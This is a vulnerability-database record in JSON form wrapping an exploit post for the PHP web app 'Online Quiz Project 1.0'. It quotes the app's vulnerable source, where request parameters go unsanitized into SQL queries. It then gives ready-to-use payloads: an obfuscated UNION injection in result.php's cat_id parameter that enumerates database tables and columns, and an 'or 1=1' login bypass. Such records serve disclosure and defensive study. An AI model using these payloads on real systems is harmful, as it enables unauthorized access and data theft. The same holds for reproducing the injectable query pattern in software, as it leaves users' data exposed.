Description
Online Quiz Project 1.0 - SQL Injection
{"lastseen": "2020-04-01T19:04:38", "references": [], "description": "\nOnline Quiz Project 1.0 - SQL Injection", "edition": 1, "reporter": "Ihsan Sencan", "exploitpack": {"type": "webapps", "platform": "php"}, "published": "2017-08-17T00:00:00", "title": "Online Quiz Project 1.0 - SQL Injection", "type": "exploitpack", "enchantments": {"dependencies": {}, "score": {"value": -0.1, "vector": "NONE"}, "backreferences": {}, "exploitation": null, "vulnersScore": -0.1}, "bulletinFamily": "exploit", "cvelist": [], "modified": "2017-08-17T00:00:00", "id": "EXPLOITPACK:4D795A51E5B026A5012F75B50D73B1FF", "href": "", "viewCount": 7, "sourceData": "# # # # #\n# Exploit Title: Online Quiz Project 1.0 - Multiple Vulnerabilities\n# Dork: N/A\n# Date: 17.08.2017\n# Vendor Homepage : http://surajkumar.in/\n# Software Link: http://surajkumar.in/product/online-quiz-project-php/\n# Demo: http://surajkumar.in/\n# Version: 1.0\n# Category: Webapps\n# Tested on: WiN7_x64/KaLiLinuX_x64\n# CVE: N/A\n# # # # #\n# Exploit Author: Ihsan Sencan\n# Author Web: http://ihsan.net\n# Author Social: @ihsansencan\n# # # # #\n# Description:\n# The vulnerability allows an attacker to inject sql commands...\n# The vulnerability allows an attacker to access the user panel...\n# \n# Vulnerable Source:\n# # # # #\n# <?php\n# ....1\n# if(isset($_POST['_login'])){\n# $data=array();\n# $data['user']=$_POST['_user'];\n# $data['password']=$_POST['_password'];\n# $userLogin=user_login($data);\n# _t($userLogin);\n# if($userLogin['bool']==fa\n# \n# ....2\n# $questionData='';\n# if(isset($_GET['cat_id'])){\n# $userData=get_result_by_user($_SESSION['user']['user_id'],$_GET['cat_id']);\n# ....\n# }else{\n# $query=mysqli_query($db,\"SELECT * FROM user_answered WHERE user_id='$user_id' AND cat_id='$cat_id'\");\n# }\n# ....\n# ?>\n# # # # #\n# \t\n# Proof of Concept:\n# \n# 1:\n# http://localhost/[PATH]/result.php?cat_id=[SQL]\n# -1'+/*!22222UnIoN*/(/*!22222SeLeCT*/+0x283129,(select(@x)from(select(@x:=0x00),(@running_number:=0),(@tbl:=0x00),(select(0)from(information_schema.columns)where(table_schema=database())and(0x00)in(@x:=Concat(@x,0x3c62723e,if((@tbl!=table_name),/*!11111Concat*/(0x3c2f6469763e,LPAD(@running_number:=@running_number%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d7265643e,@tbl:=table_name,0x3c2f666f6e743e,0x3c62723e,(@z:=0x00),0x3c646976207374796c653d226d617267696e2d6c6566743a333070783b223e),0x00),lpad(@z:=@z%2b1,2,0x30),0x3a292020,0x3c666f6e7420636f6c6f723d626c75653e,column_name,0x3c2f666f6e743e))))x),0x283329,0x283429,0x283529,0x283629,0x283729,0x283829,0x283929,0x28313029,0x28313129,0x28313229,0x28313329,0x28313429,0x28313529)--+-&docname=0x30783330\n# \n# 2:\n# http://localhost/[PATH]/login.php\n# User: 'or 1=1 or ''=' Pass: 'or 1=1 or ''='\n# \n# Etc...\n# # # # #", "cvss": {"score": 0.0, "vector": "NONE"}, "immutableFields": [], "cvss2": {}, "cvss3": {}, "_state": {"dependencies": 1645793247, "score": 1659818015}, "_internal": {"score_hash": "e7cc7f7834d066440d9036e11aa671de"}}
{}